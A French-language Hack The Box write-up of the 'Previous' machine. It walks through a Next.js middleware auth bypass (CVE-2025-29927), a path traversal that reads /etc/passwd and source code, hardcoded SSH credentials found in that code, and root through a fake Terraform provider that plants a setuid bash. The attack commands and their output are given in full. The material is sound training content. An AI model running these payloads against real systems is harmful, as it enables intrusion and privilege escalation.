Thanks to visit codestin.com
Credit goes to fr3nch4writeups.hashnode.dev

Skip to main content

Command Palette

Search for a command to run...

Previous HTB

Updated
9 min readView as Markdown
Previous HTB
Y

Python is cool.

Recon

┌──(kali㉿kali)-[~]
└─$ nmap -sC -sV -O -p- 10.10.11.83 -Pn

Les règles du Pare-feu m'empêchent, de faire mon scan habituel.

┌──(kali㉿kali)-[~]
└─$ nmap -sS -P0 10.10.11.83 -sV
Starting Nmap 7.95 ( https://nmap.org ) at 2025-09-22 18:24 EDT
Nmap scan report for 10.10.11.83
Host is up (0.12s latency).
Not shown: 998 closed tcp ports (reset)
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.9p1 Ubuntu 3ubuntu0.13 (Ubuntu Linux; protocol 2.0)
80/tcp open  http    nginx 1.18.0 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 10.43 seconds

Donc j'ai utilisé le flag -sS, qui permet de faire un scan semi-ouvert, en envoyant juste le paquet SYN.

J'ai fait le scan en plusieurs étapes, pour chercher les versions utilisées.

┌──(kali㉿kali)-[~]
└─$ nmap -sS -P0 10.10.11.83 -sC -O
Starting Nmap 7.95 ( https://nmap.org ) at 2025-09-22 18:26 EDT
Nmap scan report for 10.10.11.83
Host is up (0.11s latency).
Not shown: 998 closed tcp ports (reset)
PORT   STATE SERVICE
22/tcp open  ssh
| ssh-hostkey: 
|   256 3e:ea:45:4b:c5:d1:6d:6f:e2:d4:d1:3b:0a:3d:a9:4f (ECDSA)
|_  256 64:cc:75:de:4a:e6:a5:b4:73:eb:3f:1b:cf:b4:e3:94 (ED25519)
80/tcp open  http
|_http-title: Did not follow redirect to http://previous.htb/
Device type: general purpose|router
Running: Linux 4.X|5.X, MikroTik RouterOS 7.X
OS CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5 cpe:/o:mikrotik:routeros:7 cpe:/o:linux:linux_kernel:5.6.3
OS details: Linux 4.15 - 5.19, MikroTik RouterOS 7.2 - 7.5 (Linux 5.6.3)
Network Distance: 2 hops

OS detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 20.87 seconds

Vulnerabilities Scan

┌──(kali㉿kali)-[~]
└─$ nuclei -target http://10.10.11.83           

                     __     _
   ____  __  _______/ /__  (_)
  / __ \/ / / / ___/ / _ \/ /
 / / / / /_/ / /__/ /  __/ /
/_/ /_/\__,_/\___/_/\___/_/   v3.4.10

                projectdiscovery.io

[WRN] Found 1 templates with syntax error (use -validate flag for further examination)
[INF] Current nuclei version: v3.4.10 (latest)
[INF] Current nuclei-templates version: v10.2.9 (latest)
[INF] New templates added in latest release: 182
[INF] Templates loaded for current scan: 8501
[INF] Executing 8299 signed templates from projectdiscovery/nuclei-templates
[WRN] Loading 202 unsigned templates for scan. Use with caution.
[INF] Targets loaded for current scan: 1
[INF] Templates clustered: 1798 (Reduced 1687 Requests)
[INF] Using Interactsh Server: oast.fun
[external-service-interaction] [http] [info] http://10.10.11.83
[waf-detect:nginxgeneric] [http] [info] http://10.10.11.83
[ssh-server-enumeration] [javascript] [info] 10.10.11.83:22 ["SSH-2.0-OpenSSH_8.9p1 Ubuntu-3ubuntu0.13"]
[ssh-password-auth] [javascript] [info] 10.10.11.83:22
[ssh-sha1-hmac-algo] [javascript] [info] 10.10.11.83:22
[ssh-auth-methods] [javascript] [info] 10.10.11.83:22 ["["publickey","password"]"]
[openssh-detect] [tcp] [info] 10.10.11.83:22 ["SSH-2.0-OpenSSH_8.9p1 Ubuntu-3ubuntu0.13"]
[tech-detect:nginx] [http] [info] http://10.10.11.83
[INF] Scan completed in 2m. 8 matches found.

Fuzzing

┌──(kali㉿kali)-[~]
└─$ gobuster dir -u http://previous.htb -w directory-list-2.3-medium.txt -x json,php,html
===============================================================
Gobuster v3.8
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://previous.htb
[+] Method:                  GET
[+] Threads:                 10
[+] Wordlist:                directory-list-2.3-medium.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.8
[+] Extensions:              json,php,html
[+] Timeout:                 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/# license, visit http://creativecommons.org/licenses/by-sa/3.0/.json (Status: 308) [Size: 76] [--> /%23%20license,%20visit%20http:/creativecommons.org/licenses/by-sa/3.0/.json]
/# license, visit http://creativecommons.org/licenses/by-sa/3.0/ (Status: 308) [Size: 71] [--> /%23%20license,%20visit%20http:/creativecommons.org/licenses/by-sa/3.0/]
/# license, visit http://creativecommons.org/licenses/by-sa/3.0/.html (Status: 308) [Size: 76] [--> /%23%20license,%20visit%20http:/creativecommons.org/licenses/by-sa/3.0/.html]
/# license, visit http://creativecommons.org/licenses/by-sa/3.0/.php (Status: 308) [Size: 75] [--> /%23%20license,%20visit%20http:/creativecommons.org/licenses/by-sa/3.0/.php]
/docs                 (Status: 307) [Size: 36] [--> /api/auth/signin?callbackUrl=%2Fdocs]
/docs.html            (Status: 307) [Size: 41] [--> /api/auth/signin?callbackUrl=%2Fdocs.html]
/docs.php             (Status: 307) [Size: 40] [--> /api/auth/signin?callbackUrl=%2Fdocs.php]
/docs.json            (Status: 307) [Size: 41] [--> /api/auth/signin?callbackUrl=%2Fdocs.json]
/api.html             (Status: 307) [Size: 40] [--> /api/auth/signin?callbackUrl=%2Fapi.html]
/api                  (Status: 307) [Size: 35] [--> /api/auth/signin?callbackUrl=%2Fapi]
/api.json             (Status: 307) [Size: 40] [--> /api/auth/signin?callbackUrl=%2Fapi.json]
/api.php              (Status: 307) [Size: 39] [--> /api/auth/signin?callbackUrl=%2Fapi.php]
/signin               (Status: 200) [Size: 3481]

Sur cette page, l’URL m’a semblé curieux:

http://previous.htb/signin

http://previous.htb/signin?callbackUrl=http%3A%2F%2Flocalhost%3A3000%2Fapi
┌──(kali㉿kali)-[~]
└─$ curl http://previous.htb/api

/api/auth/signin?callbackUrl=%2Fapi
┌──(kali㉿kali)-[~]
└─$ curl -i http://previous.htb/api  

HTTP/1.1 307 Temporary Redirect
Server: nginx/1.18.0 (Ubuntu)
Date: Tue, 23 Sep 2025 22:42:27 GMT
Transfer-Encoding: chunked
Connection: keep-alive
location: /api/auth/signin?callbackUrl=%2Fapi

J’ai testé si la cible était vulnérable à la faille CVE-2025-29927 , en analysant la réponse, au niveau du ‘header’ et du ‘body’ de la page.

Cette faille permet un ‘Auth Bypassing’ dans ‘Next.js’.

┌──(kali㉿kali)-[~]
└─$ curl -i -H "x-middleware-subrequest: middleware:middleware:middleware:middleware:middleware" \
     -H "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/139.0.0.0 Safari/537.36" \
     http://previous.htb/api
HTTP/1.1 404 Not Found
Server: nginx/1.18.0 (Ubuntu)
Date: Tue, 23 Sep 2025 22:53:09 GMT
Content-Type: text/html; charset=utf-8
Content-Length: 2181
Connection: keep-alive
Cache-Control: private, no-cache, no-store, max-age=0, must-revalidate
X-Powered-By: Next.js
ETag: "dgiq94wxz01ol"
Vary: Accept-Encoding

<!DOCTYPE html><html><head><meta charSet="utf-8" data-next-head=""/><meta name="viewport" content="width=device-width" data-next-head=""/><title
 data-next-head="">404: This page could not be found</title><link rel="preload" href="/_next/static/css/9a1ff1f4870b5a50.css" as="style"/><link rel="stylesheet"
  href="/_next/static/css/9a1ff1f4870b5a50.css" data-n-g=""/><noscript data-n-css=""></noscript><script defer="" nomodule="" src="/_next/static/chunks/polyfills-42372ed130431b0a.js">
  </script><script src="/_next/static/chunks/webpack-cb370083d4f9953f.js" defer=""></script><script src="/_next/static/chunks/framework-ee17a4c43a44d3e2.js" 
  defer=""></script><script src="/_next/static/chunks/main-0221d9991a31a63c.js" defer=""></script><script src="/_next/static/chunks/pages/_app-95f33af851b6322a.js" 
  defer=""></script><script src="/_next/static/chunks/pages/_error-41608b100cc61246.js" defer=""></script><script src="/_next/static/-ipsiOtEey-zESpHzrwmc/_buildManifest.js" 
  defer=""></script><script src="/_next/static/-ipsiOtEey-zESpHzrwmc/_ssgManifest.js" defer=""></script></head><body><div id="__next"><div style="font-family:system-ui,&quot;
  Segoe UI&quot;,Roboto,Helvetica,Arial,sans-serif,&quot;Apple Color Emoji&quot;,&quot;Segoe UI Emoji&quot;;height:100vh;text-align:center;display:flex;flex-direction:column;
  align-items:center;justify-content:center"><div style="line-height:48px"><style>body{color:#000;background:#fff;margin:0}.next-error-h1{border-right:1px solid rgba(0,0,0,.3)}@media 
  (prefers-color-scheme:dark){body{color:#fff;background:#000}.next-error-h1{border-right:1px solid rgba(255,255,255,.3)}}</style><h1 class="next-error-h1" style="display:inline-block
  ;margin:0 20px 0 0;padding-right:23px;font-size:24px;font-weight:500;vertical-align:top">404</h1><div style="display:inline-block"><h2 style="font-size:14px;font-weight:400;
  line-height:28px">This page could not be found<!-- -->.</h2></div></div></div></div><script id="__NEXT_DATA__" type="application/json">{"props":{"pageProps":{"statusCode":404}},
  "page":"/_error","query":{},"buildId":"-ipsiOtEey-zESpHzrwmc","nextExport":true,"isFallback":false,"gip":true,"scriptLoader":[]}</script></body></html>

Le header force une récursion, qui bypass les vérifications d'autorisations, et peut permettre, d‘accéder aux chemins d'accès.

┌──(kali㉿kali)-[~]
└─$ curl -i -H "x-middleware-subrequest: middleware:middleware:middleware:middleware:middleware" \
     -H "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/139.0.0.0 Safari/537.36" \
     http://previous.htb/docs
HTTP/1.1 200 OK
Server: nginx/1.18.0 (Ubuntu)
Date: Tue, 23 Sep 2025 23:01:10 GMT
Content-Type: text/html; charset=utf-8
Content-Length: 3353
Connection: keep-alive
X-Powered-By: Next.js
ETag: "83h4wb4nfw2l1"
Vary: Accept-Encoding

<!DOCTYPE html><html><head><meta charSet="utf-8" data-next-head=""/><meta name="viewport" content="width=device-width" data-next-head=""/>
<title data-next-head="">PreviousJS Docs</title><link rel="preload" href="/_next/static/css/9a1ff1f4870b5a50.css" as="style"/><link rel="stylesheet"
 href="/_next/static/css/9a1ff1f4870b5a50.css" data-n-g=""/><noscript data-n-css=""></noscript><script defer="" nomodule="" src="/_next/static/chunks/polyfills-42372ed130431b0a.js">
 </script><script src="/_next/static/chunks/webpack-cb370083d4f9953f.js" defer=""></script><script src="/_next/static/chunks/framework-ee17a4c43a44d3e2.js" defer=""></script><script 
 src="/_next/static/chunks/main-0221d9991a31a63c.js" defer=""></script><script src="/_next/static/chunks/pages/_app-95f33af851b6322a.js" defer="">
 </script><script src="/_next/static/chunks/8-fd0c493a642e766e.js" defer=""></script><script src="/_next/static/chunks/0-c54fcec2d27b858d.js" defer=""></script><script 
 src="/_next/static/chunks/pages/docs-5f6acb8b3a59fb7f.js" defer=""></script><script src="/_next/static/-ipsiOtEey-zESpHzrwmc/_buildManifest.js" defer=""></script><script 
 src="/_next/static/-ipsiOtEey-zESpHzrwmc/_ssgManifest.js" defer=""></script></head><body><div id="__next"><div class="flex min-h-screen bg-white"><div class="sticky top-
 0 h-screen w-64 border-r bg-gray-50 p-6"><h2 class="mb-6 text-lg font-semibold">PreviousJS</h2><nav><ul class="space-y-2"><li><a class="block rounded px-3 py-2 text-sm transition-colors 
 text-gray-600 hover:bg-gray-100" href="/docs/getting-started">Getting Started</a></li><li><a class="block rounded px-3 py-2 text-sm transition-colors 
 text-gray-600 hover:bg-gray-100" href="/docs/examples">Examples</a></li></ul></nav></div><main class="flex-1 p-8 lg:px-12 lg:py-10"><article class="prose prose-slate max-w-none">
 <h1>Documentation Overview</h1><p class="lead">Welcome to the documentation for PreviousJS. Get started with our comprehensive guides and API references.</p><div class="not-prose 
 mt-8 grid gap-4 sm:grid-cols-2"><div class="rounded-lg border p-6"><h3 class="mb-2 text-lg font-semibold">Getting Started</h3><p class="mb-4 text-gray-600">New to PreviousJS? 
 Begin here with basic setup and fundamental concepts.</p><a href="/docs/getting-started" class="text-blue-600 hover:underline">Start learning →</a></div><div class="rounded-lg 
 border p-6"><h3 class="mb-2 text-lg font-semibold">Examples</h3><p class="mb-4 text-gray-600">Detailed examples.</p><a href="/docs/api-reference" 
 class="text-blue-600 hover:underline">Explore examples →</a></div></div><div class="mt-8 border-t pt-8"><h2>Latest Updates</h2><ul class="text-sm text-gray-600"><li class="mt-2">v1.2.0
  - Feat: middleware is now opt-out!</li><li class="mt-2">v1.1.4 - Improved TypeScript support</li><li class="mt-2">v1.1.0 - Performance optimizations</li></ul></div>
  </article></main><div class="fixed top-0 right-0 p-4 bg-gray-100 border-t border-gray-200 shadow-md"><p class="text-sm text-gray-600">Logged in as <b>???</b></p><a 
  href="#" class="cursor-pointer text-sm text-blue-600 hover:text-blue-800 underline">Sign out</a></div></div></div><script id="__NEXT_DATA__" type="application/json">
  {"props":{"pageProps":{}},"page":"/docs","query":{},"buildId":"-ipsiOtEey-zESpHzrwmc","nextExport":true,"autoExport":true,"isFallback":false,"scriptLoader":[]}</script></body></html>

Un attaquant peut parvenir à contourner les contrôles de sécurité, basés sur le “middleware“, en usurpant un en-tête, destiné uniquement à un usage interne.

Exploitation

La cible est vulnérable à une LFI (Local file Include).

La faille LFI, permet de lire des fichiers auxquels, nous n’avons pas accès initialement.

┌──(kali㉿kali)-[~]
└─$ curl -i -X POST http://previous.htb/api/auth/signin \
     -H "Content-Type: application/x-www-form-urlencoded" \
     -d "csrfToken=ton_csrf_from_cookie&username=admin&password=admin&callbackUrl=%2Fapi"
HTTP/1.1 302 Found
Server: nginx/1.18.0 (Ubuntu)
Date: Thu, 25 Sep 2025 22:24:24 GMT
Transfer-Encoding: chunked
Connection: keep-alive
Set-Cookie: next-auth.csrf-token=2dd6aaff881385b50aa0daf97c80f6e5f9c170f82c28db1372bfb91127c0e7ab%7C56e3cb202c3d92c9b3d50b3803023955cbf72b6b34c966fe9a1e6b41f7daad7a; Path=/; HttpOnly; SameSite=Lax
Set-Cookie: next-auth.callback-url=http%3A%2F%2Flocalhost%3A3000%2Fapi; Path=/; HttpOnly; SameSite=Lax
Location: http://localhost:3000/api/auth/signin?csrf=true
┌──(kali㉿kali)-[~]
└─$ ffuf -u http://previous.htb/api/FUZZ \
     -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt \
     -H "x-middleware-subrequest: middleware:middleware:middleware:middleware:middleware" \
     -H "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/139.0.0.0 Safari/537.36" \
     -mc 200,201,400 \
     -t 50


download                [Status: 400, Size: 28, Words: 2, Lines: 1, Duration: 1031ms]

previous.htb/api/download/

┌──(kali㉿kali)-[~]
└─$ curl -s -H "x-middleware-subrequest: middleware:middleware:middleware:middleware:middleware" \
     -H "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/139.0.0.0 Safari/537.36" \
     "http://previous.htb/api/download?example=../../../../etc/passwd"
root:x:0:0:root:/root:/bin/sh
bin:x:1:1:bin:/bin:/sbin/nologin
daemon:x:2:2:daemon:/sbin:/sbin/nologin
lp:x:4:7:lp:/var/spool/lpd:/sbin/nologin
sync:x:5:0:sync:/sbin:/bin/sync
shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown
halt:x:7:0:halt:/sbin:/sbin/halt
mail:x:8:12:mail:/var/mail:/sbin/nologin
news:x:9:13:news:/usr/lib/news:/sbin/nologin
uucp:x:10:14:uucp:/var/spool/uucppublic:/sbin/nologin
cron:x:16:16:cron:/var/spool/cron:/sbin/nologin
ftp:x:21:21::/var/lib/ftp:/sbin/nologin
sshd:x:22:22:sshd:/dev/null:/sbin/nologin
games:x:35:35:games:/usr/games:/sbin/nologin
ntp:x:123:123:NTP:/var/empty:/sbin/nologin
guest:x:405:100:guest:/dev/null:/sbin/nologin
nobody:x:65534:65534:nobody:/:/sbin/nologin
node:x:1000:1000::/home/node:/bin/sh
nextjs:x:1001:65533::/home/nextjs:/sbin/nologin
┌──(kali㉿kali)-[~]
└─$ curl -g -v -H "x-middleware-subrequest: middleware:middleware:middleware:middleware:middleware" \
     -H "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/139.0.0.0 Safari/537.36" \
     "http://previous.htb/api/download?example=../../../pages/api/auth/[...nextauth].js"
* Host previous.htb:80 was resolved.
* IPv6: (none)
* IPv4: 10.10.11.83
*   Trying 10.10.11.83:80...
* Connected to previous.htb (10.10.11.83) port 80
* using HTTP/1.x
> GET /api/download?example=../../../pages/api/auth/[...nextauth].js HTTP/1.1
> Host: previous.htb
> Accept: */*
> x-middleware-subrequest: middleware:middleware:middleware:middleware:middleware
> User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/139.0.0.0 Safari/537.36
> 
* Request completely sent off
< HTTP/1.1 504 Gateway Timeout
< Server: nginx/1.18.0 (Ubuntu)
< Date: Thu, 25 Sep 2025 22:40:52 GMT
< Content-Type: application/json; charset=utf-8
< Content-Length: 26
< Connection: keep-alive
< ETag: "kuawl8omj6q"
< Vary: Accept-Encoding
< 
* Connection #0 to host previous.htb left intact
{"error":"Read timed out"}
┌──(kali㉿kali)-[~]
└─$ curl -s -H "x-middleware-subrequest: middleware:middleware:middleware:middleware:middleware" \
     -H "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/139.0.0.0 Safari/537.36" \
     "http://previous.htb/api/download?example=../../../pages/api/auth/[...nextauth].js"

┌──(kali㉿kali)-[~]
└─$ curl -s -H "x-middleware-subrequest: middleware:middleware:middleware:middleware:middleware" \
     -H "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/139.0.0.0 Safari/537.36" \
     "http://previous.htb/api/download?example=../../../pages/api/auth/...nextauth.js" 
{"error":"Read timed out"}   

┌──(kali㉿kali)-[~]
└─$ curl -g -s -H "x-middleware-subrequest: middleware:middleware:middleware:middleware:middleware" \
     -H "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/139.0.0.0 Safari/537.36" \
     "http://previous.htb/api/download?example=../../../pages/api/auth/[...nextauth].js"
{"error":"Read timed out"}

┌──(kali㉿kali)-[~]
└─$ curl -s -H "x-middleware-subrequest: middleware:middleware:middleware:middleware:middleware" \
     -H "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/139.0.0.0 Safari/537.36" \
     "http://previous.htb/api/download?example=../../../.next/routes-manifest.json" | grep -i auth

┌──(kali㉿kali)-[~]
└─$ curl -g -s -H "x-middleware-subrequest: middleware:middleware:middleware:middleware:middleware" \
     -H "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/139.0.0.0 Safari/537.36" \
     "http://previous.htb/api/download?example=../../../pages/api/auth/[...nextauth].js"
{"error":"Read timed out"}

L'erreur à l'air de venir des sous-domaines.

Autrement dit, je dois affiner le nombre de [ ../ ] .

┌──(kali㉿kali)-[~]
└─$ curl -g -s -H "x-middleware-subrequest: middleware:middleware:middleware:middleware:middleware" \
     -H "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/139.0.0.0 Safari/537.36" \
     --max-time 30 \
     "http://previous.htb/api/download?example=../../../../app/.next/server/pages/api/auth/%5B...nextauth%5D.js"
"use strict";(()=>{var e={};e.id=651,e.ids=[651],e.modules={3480:(e,n,r)=>{e.exports=r(5600)},5600:e=>{e.exports=require("next/dist/compiled/next-server/pages-api.runtime.prod.js")}
,6435:(e,n)=>{Object.defineProperty(n,"M",{enumerable:!0,get:function(){return function e(n,r){return r in n?n[r]:"then"in n&&"function"==typeof n.then?n.then(n=>e(n,r))
:"function"==typeof n&&"default"===r?n:void 0}}})},8667:(e,n)=>{Object.defineProperty(n,"A",{enumerable:!0,get:function(){return r}});var r=function(e){return e.PAGES="PAGES",
e.PAGES_API="PAGES_API",e.APP_PAGE="APP_PAGE",e.APP_ROUTE="APP_ROUTE",e.IMAGE="IMAGE",e}({})},9832:(e,n,r)=>{r.r(n),r.d(n,{config:()=>l,default:()=>P,routeModule:()=>A});var 
t={};r.r(t),r.d(t,{default:()=>p});var a=r(3480),s=r(8667),i=r(6435);let u=require("next-auth/providers/credentials"),o={session:{strategy:"jwt"},providers:[r.n(u)()({name:
"Credentials",credentials:{username:{label:"User",type:"username"},password:{label:"Password",type:"password"}},authorize:async e=>e?.username==="jeremy"&&e.password===
(process.env.ADMIN_SECRET??"MyNameIsJeremyAndILovePancakes")?{id:"1",name:"Jeremy"}:null})],pages:{signIn:"/signin"},secret:process.env.NEXTAUTH_SECRET},d=require("next-auth")
,p=r.n(d)()(o),P=(0,i.M)(t,"default"),l=(0,i.M)(t,"config"),A=new a.PagesAPIRouteModule({definition:{kind:s.A.PAGES_API,page:"/api/auth/[...nextauth]",pathname:"/api/auth/[...nextauth]"
,bundlePath:"",filename:""},userland:t})}};var n=require("../../../webpack-api-runtime.js");n.C(e);var r=n(n.s=9832);module.exports=r})();

Dans la fonction asynchrone du code:

authorize: async (e) => (e?.username === "jeremy" && e.password === (process.env.ADMIN_SECRET ?? "MyNameIsJeremyAndILovePancakes") ? { id: "1", name: "Jeremy" } : null),

SSH Connection

Last login: Thu Sep 25 23:10:56 2025 from 10.10.15.91
jeremy@previous:~$
jeremy@previous:~$ cat /etc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
_apt:x:100:65534::/nonexistent:/usr/sbin/nologin
systemd-network:x:101:102:systemd Network Management,,,:/run/systemd:/usr/sbin/nologin
systemd-resolve:x:102:103:systemd Resolver,,,:/run/systemd:/usr/sbin/nologin
messagebus:x:103:104::/nonexistent:/usr/sbin/nologin
systemd-timesync:x:104:105:systemd Time Synchronization,,,:/run/systemd:/usr/sbin/nologin
pollinate:x:105:1::/var/cache/pollinate:/bin/false
sshd:x:106:65534::/run/sshd:/usr/sbin/nologin
syslog:x:107:113::/home/syslog:/usr/sbin/nologin
uuidd:x:108:114::/run/uuidd:/usr/sbin/nologin
tcpdump:x:109:115::/nonexistent:/usr/sbin/nologin
tss:x:110:116:TPM software stack,,,:/var/lib/tpm:/bin/false
landscape:x:111:117::/var/lib/landscape:/usr/sbin/nologin
fwupd-refresh:x:112:118:fwupd-refresh user,,,:/run/systemd:/usr/sbin/nologin
usbmux:x:113:46:usbmux daemon,,,:/var/lib/usbmux:/usr/sbin/nologin
lxd:x:999:100::/var/snap/lxd/common/lxd:/bin/false
jeremy:x:1000:1000:,,,:/home/jeremy:/bin/bash
dnsmasq:x:114:65534:dnsmasq,,,:/var/lib/misc:/usr/sbin/nologin
_laurel:x:998:998::/var/log/laurel:/bin/false
jeremy@previous:~$ ls
docker  local-exec  pwnprov  user.txt

jeremy@previous:~$ cat user.txt
flag{************************************}

jeremy@previous:~$ python3
Python 3.10.12 (main, May 27 2025, 17:12:29) [GCC 11.4.0] on linux
Type "help", "copyright", "credits" or "license" for more information.
>>> exit
Use exit() or Ctrl-D (i.e. EOF) to exit
>>> exit()

J’ai vérifié que Python était présent et fonctionnel. Ça peut servir…

Privileges Escalation

jeremy@previous:/home$ find / -user root -perm -4000 -print 2>/dev/null
/tmp/rootbash
/usr/bin/newgrp
/usr/bin/gpasswd
/usr/bin/su
/usr/bin/umount
/usr/bin/chsh
/usr/bin/fusermount3
/usr/bin/sudo
/usr/bin/passwd
/usr/bin/mount
/usr/bin/chfn
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/usr/lib/openssh/ssh-keysign
/usr/libexec/polkit-agent-helper-1
jeremy@previous:/opt/examples$ ls -la ~/pwnprov/terraform-provider-examples/
ls: cannot access '/home/jeremy/pwnprov/terraform-provider-examples/': Not a directory

jeremy@previous:/opt/examples$ cd ~
mkdir -p fake-provider
cd fake-provider
cat > fake-provider << 'EOF'
cp /bin/bash /tmp/rootbash
chmod u+s /tmp/rootbash
EOF
chmod +x fake-provider

jeremy@previous:~/fake-provider$ ls
fake-provider

jeremy@previous:~/fake-provider$ chmod +x fake-provider

jeremy@previous:~/fake-provider$ ls
fake-provider

jeremy@previous:~/fake-provider$ mv fake-provider terraform-provider-null_v3.1.1_x5

jeremy@previous:~/fake-provider$ ls
terraform-provider-null_v3.1.1_x5

jeremy@previous:~/fake-provider$ cd ~
cat > .terraformrc << 'EOF'
provider_installation {
  dev_overrides {
    "hashicorp/null" = "/home/jeremy/fake-provider"
  }
  direct {
    exclude = ["hashicorp/null"]
  }
}
EOF

jeremy@previous:~$ ls
docker  fake-provider  file_to_write  local-exec  pwnprov  user.txt

jeremy@previous:~$ export TF_CLI_CONFIG_FILE=~/.terraformrc
export TF_IN_AUTOMATION=true
export TF_INPUT=false

jeremy@previous:~$ cd /opt/examples
sudo /usr/bin/terraform -chdir=/opt/examples apply -auto-approve
Sorry, user jeremy is not allowed to execute '/usr/bin/terraform -chdir=/opt/examples apply -auto-approve' as root on previous.

jeremy@previous:/opt/examples$ ls -l /tmp/rootbash
-rwsr-xr-x 1 root root 1396520 Sep 25 20:34 /tmp/rootbash

jeremy@previous:/opt/examples$ /tmp/rootbash -p
rootbash-5.1#

rootbash-5.1# whoami
root

rootbash-5.1# cat /root/root.txt
flag{********************************}

Pour avoir les permissions root, j’ai exploité la mauvaise configuration de Sudo et la surcharge des providers de Terraform via un fichier de configuration.

Conclusion

Cette machine HTB, m’a permis de me familiariser un peu plus, avec les failles web, type Local File Include.

Et c’était plutôt sympa.

Merci d’avoir lu mon writeup.